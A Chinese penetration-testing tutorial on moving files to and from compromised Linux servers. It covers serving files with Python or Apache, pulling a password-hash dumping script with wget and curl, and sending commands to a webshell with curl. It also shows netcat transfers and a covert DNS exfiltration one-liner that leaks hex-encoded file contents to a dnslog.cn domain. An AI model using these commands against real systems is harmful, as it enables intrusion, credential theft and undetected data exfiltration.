渗透测试常用文件传输方法-Linux篇(如何向Linux服务器中上传文件?) (゚益゚メ) 渗透测试

2023-05-16

文章目录

  • 介绍
  • 攻击机挂载文件
    • Python脚本挂载
    • 使用阿帕奇服务挂载
  • 传输文件
    • wget
    • curl
    • netcat
    • sftp
  • 其他方法
    • DNS传输数据

介绍

文件上传一般分为上传和下载,下面我所指的下载具体指的是攻击机(本地机器)向目标机(服务器)传输文件。而上传则相反是从目标中收集下载文件!如果让目标机器下载,我们大多数时候都需要先把需要下载的文件挂载出来!

攻击机挂载文件

Python脚本挂载

# python2
python -m SimpleHTTPServer
# python3适用的将当前目标挂载,不填写端口的话默认是到8000端口中
python3 -m http.server 端口
#python3.7之后支持指定文件
python -m http.server 端口 --directory 指定文件
# nohup 可以不依赖当前进程(关闭ssh后此进程不会跟随关闭,&表示在后台运行)
nohup python3 -m http.server &

使用阿帕奇服务挂载

# 下载阿帕奇
yum install httpd.x86_64
# 启动阿帕奇
systemctl status httpd.service
# 添加测试文件(我们上传给目标的文件就放到/var/www/html目录中即可)
echo "测试" > /var/www/html/index.html
# 如果测试文件添加后直接访问IP无法获取内容,就重启一下服务试试
systemctl restart httpd.service
# 默认80端口,如果此端口已经被占用或者被防火墙拦截可以去设置里修改为其他防火墙
# 其中有一些默认值可以修改,一个是默认网站目录/var/www/html,一个是默认打开首页index.html,想要改,找到上述单词替换掉即可!
vim /etc/httpd/conf/httpd.conf
systemctl restart httpd.service

方面下面攻击测试,将攻击机的python和阿帕奇服务都启动起来了!(个人小服务器,各位表哥没事别打,我就不打码了!)
http://43.128.11.131/和http://43.128.11.131:8000/
在这里插入图片描述

传输文件

wget

这个命令的主要功能就是用来从指定的URL下载文件。官方定义:非交互式的网络文件下载工具。这是一个单项的,只能下载文件的命令。

# 详细用法查看(官方介绍很详细,这里就不复制粘贴了)
wget -h
# 常规用法
wget 目标地址
wget http://43.128.11.131:8000/Get-PassHashes.ps1
# 可以设置-q来取消任何的信息输出,-O重命名下载的文件
wget -q -O 名字 目标地址
wget -q -O Windows收集信息脚本.ps1 http://43.128.11.131:8000/Get-PassHashes.ps1

在这里插入图片描述

curl

这个命令用来请求 Web 服务器的命令行工具,但可以使用其-o-O参数来进行文件下载。

# 可以使用-O来
curl -O 目标地址
curl -O http://43.128.11.131:8000/Get-PassHashes.ps1
# -o用来将输出写入文件
curl -o 名字 目标地址
curl -o Windows收集信息脚本.ps1 http://43.128.11.131:8000/Get-PassHashes.ps1
# 除此之外,如果我们在目标成功上传了小马还能通过这种方式来控制小马执行命令
curl -X 访问方式 -d "命令" 目标网络控制台(webshell)地址
# 我没往服务器里传小马,就不实机测试了
curl -X POST -d "CMD=whoami" http://43.128.11.131:8000/

在这里插入图片描述

netcat

netcat简称nc,他是一个功能十分强大的网络工具,但在很多Linux中并不会携带,需要我们手动安装!
netcat安装和详细使用介绍: http://note.youdao.com/s/Nxf2xYKz

# 安装nc
yum -y install nc
# 下载文件
## 在攻击机中指定的文件开启指定端口的监听
## 此方式是先将文件挂载然后等待下载
cat 文件名 | nc -l 端口
cat 1.txt | nc -l 1234
## 在目标中接收文件
nc 目标地址 端口 > 文件名
nc 43.128.11.131 1234 > 服务器下载文件.txt
# 上传文件
# 先开启接收等待文件发送,不过这种方法接收完成后不会主动退出,需要我们手动退出!
nc host_ip 1234 < file1
nc -lvvp 1234 > file2

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

sftp

这个是和我们ssh比较类似的一个服务,是一个交互式文件传输程序,并且支持公私钥的认证(这里的公私钥使用的是和ssh共享的公私钥文件)。

# 如果是使用Windows电脑连接sftp前改变一下编码,否则可能中文乱码!!! Windows默认GBK编码,而Linux默认是UTF-8,这里我将控制台临时变为UTF-8编码解决乱码问题
# Windows10大部分版本都默认会带ssh,sftp之类的工具(第三方的精简版、企业版之类的可能不带)
chcp 65001
# 用法和ssh也十分类似,只需把ssh换成sftp即可
sftp 用户名@目标地址
sftp root@192.168.1.1
# 同样也支持ssh的一些参数
sftp -P 端口 用户名@目标地址
sftp -P 端口 -i 私钥 用户名@目标地址
sftp -P 22 root@192.168.1.1
sftp -P 22 -i ~/.ssh/id_rsa root@192.168.1.1

在这里插入图片描述

# sftp中同样支持ls、cd之类的常用基础命令
# 上传文件
put [本地文件的地址] [服务器上文件存储的位置]
# 下载文件
get [服务器上文件存储的位置] [本地要存储的位置]

在这里插入图片描述

其他方法

上述传输数据都使用了一些Linux内置的命令或服务,比较容易被查到记录哪来取证, 或被禁用,下面用一些不容易被发现的方法(即使被发现也很难取证)来获取目标主机数据!

DNS传输数据

这是一种比较隐蔽的传输数据方法,但我们需要DNSlog之类的工具接收数据!和使用一些工具来进行解密,在线加密解密工具

# 首先我们打开需要传输的文件,然后使用管道符给xxd进行分段编码
# 分段编码后将其赋予变量,然后让其访问指定域名然后我们可以通过查看dnslog的接受信息进行下一步处理
cat 文件名 | xxd -p -c 16 | while read 变量名; do host $变量名.dnslog; done
# 如
cat 1.txt | xxd -p -c 16 | while read i; do host $i.e578nr.dnslog.cn; done

在这里插入图片描述
基于上述命令可以做一些其他变种,比如把编码方式改变xxd -p -c 16用的是Hex编码,我们还要尝试将其换成其他编码(甚至多层编码,来进行传输)

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

渗透测试常用文件传输方法-Linux篇(如何向Linux服务器中上传文件?) (゚益゚メ) 渗透测试 的相关文章

  • 四旋翼无人机飞控系统设计(方案篇)

    简介 四旋翼无人机为多旋翼无人机中最经典的机型 xff0c 此设计为四旋翼无人机飞控系统设计 xff08 侧重软件 xff09 xff0c 这里主要涉及基于MCU的无人机飞控程序的编写 xff0c 使用的无人机机架 电机 电调 锂电池 航模
  • 运算放大器-虚短虚断

    运算放大器 虚短虚断 虚短虚断 虚短 虚短指在理想情况下 xff0c 两个输入端的电位相等 xff0c 就好像两个输入端短接在一起 xff0c 但事实上并没有短接 xff0c 称为 虚短 虚短的必要条件是运放引入深度负反馈 V 43 61
  • vscode 配置头文件路径

    1 打开 VSCode 界面 xff0c 在左下角找到齿轮 打开设置 xff0c 点击配置文件 2 在配置文件中添加相应的头文件路径
  • vscode 编码格式配置及保存(统一工程的编码格式,防止中文注释乱码)

    使用 VSCode 统一工程的编码格式 打开不同编码格式的文件 xff0c 点击右下角编码格式 xff0c 通过不同的编码来保存 xff0c 防止更改编码格式时导致中文注释乱码
  • CentOS7安装oracle12G调不出图形化界面

    问题 xff1a centos如果无图形化界面 xff0c 在安装oracle xff0c 调用图形化界面时会遇到问题 xff0c 报错为 xff1a 无法使用命令 usr bin xdpyinfo 自动检查显示器颜色 请检查是否设置了 D
  • STM32外围电路硬件解析

    复位电路 xff1a 复位 xff1a 让MCU回到最开始的状态 并且从头开始 xff0c 重新执行程序 我们什么时候需要复位 xff1f 1 烧录的时候 2 程序跑飞了的时候 3 上电复位 xff08 上电的时候需要复位 xff09 复位
  • stm32f103——中断——UART中断服务函数

    在程序中 xff0c CPU对外界突发事件进行处理的方式又两种 xff1a 1 轮询系统 xff1a xff08 在main中 xff0c 使用while循环 xff0c 进行循环判断外界事物是否发生 xff09 while xff08 1
  • Docker快速入门,看这个就够了

    Docker快速入门 一 Docker介绍1 1 Docker背景1 2 Docker概念1 3 Docker的优势1 4 Docker的三个基本概念 二 Docker的安装和使用2 1 安装依赖包2 2 安装Docker 三 启动Dock
  • Kubernetes(K8S)集群部署搭建图文教程(最全)

    Kubernetes 集群安装 前期准备集群安装系统初始化Harbor采取私有的仓库去镜像使用集群检测集群功能演示 前期准备 第一步 xff1a Router软路由构建 第二步 xff1a centos7安装 5台 xff08 自行安装 x
  • 【STM32-HAL库】一步步搭建出FOC矢量控制(附C代码)

    说明 本文为无刷电机或PMSM电机驱动的简易代码 xff0c 旨在分享一些个人调试过程的小心得 xff0c 提供一个demo文件 xff0c 程序仍有许多不完善的地方 xff0c 建立起个人的FOC底层驱动 xff0c 可以帮助快速熟悉FO
  • Ubuntu整个系统迁移到其他盘办法

    Ubuntu整个系统迁移到其他盘办法 一 xff1a 制作U盘启动器 xff0c 刻录Ubuntu系统 从U盘引导进入系统 xff0c 点击 xff1a try Ubuntu without install选项 二 xff1a 把需要迁移的
  • 四旋翼无人机飞控系统设计(基础知识篇)

    飞行原理 四旋翼的结构组装有十字模式和X模式之分 xff0c 两者的基本原理一致 xff0c 方向结构不同 xff0c 都是通过四个电机的组合状态进行控制姿态飞行 xff0c 而十字型四旋翼机头是对准其中一个电机的 xff0c X型的四旋翼
  • 大数据组件-Maxwell常用命令(持续更新完善)

    Download Download binary distro https github com zendesk maxwell releases download v1 33 0 maxwell 1 33 0 tar gz Sources
  • 【px4编译】make px4fmu-v3_default upload 不能使用

    今天遇到编译pixhawk2代固件无法upload的问题 xff0c 出现TypeError a bytes like object is required not str xff0c 在1代中是可以make upload的 ninja E
  • 【PX4代码】关于px4代码中timestamp与gps_itow的时间问题

    gps的输出频率为5hz xff0c 由此可见timestamp应该是113248090 1e 6转换为s xff0c 由次可见gps的itow时间应该为271998999 1e 3转换为s 总结 px4中的时间为cpu应该除以10 6 x
  • 【PX4代码】关于ekf2输出频率只有1ohz的问题

    问题 我在使用的是pixhawk 2代 imu的输出频率都在100hz以上 xff0c 使用的gps模块输出频率为5hz xff0c 使用log的local position csv 查看ekf2估计输出的点位信息只有10hz xff0c
  • Keil4中C51的debug调试步骤技巧

    1 选择相应的调试仿真连接器 xff1a 选择 xff1a project gt Options for Target 如下图所示 xff1a 然后在弹出对话框的Debug选项下选择仿真器的型号 xff1a 2 进入调试 xff1a 3 部
  • 怎么操作linux服务器

    Linux 服务器就是采用 Linux 系统的网络服务器 xff0c 同时也有采用 windows 的服务器 xff0c 作用是类似的 而 Linux 并不是一个特定的系统 xff0c 而是使用 Linux 内核的系统 xff0c 现在发行
  • 人工智能如何可以思考?

    近日在给同事讲人工智能的时候 xff0c 提到当数据量不够的时候 xff0c 必要时需要加入人工工程 xff0c 引导计算机 归纳 一些知识 xff0c 毕竟计算机智能比起人类智能 xff0c 最大的缺陷可能在于不懂得 举一反三 换句话说
  • bag文件内topic对应的frame_id查看指令

    启动ROS roscore 运行数据集 span class token comment 数据集小的话 xff0c 建议慢速播放 span rosbag play xxx span class token punctuation span

随机推荐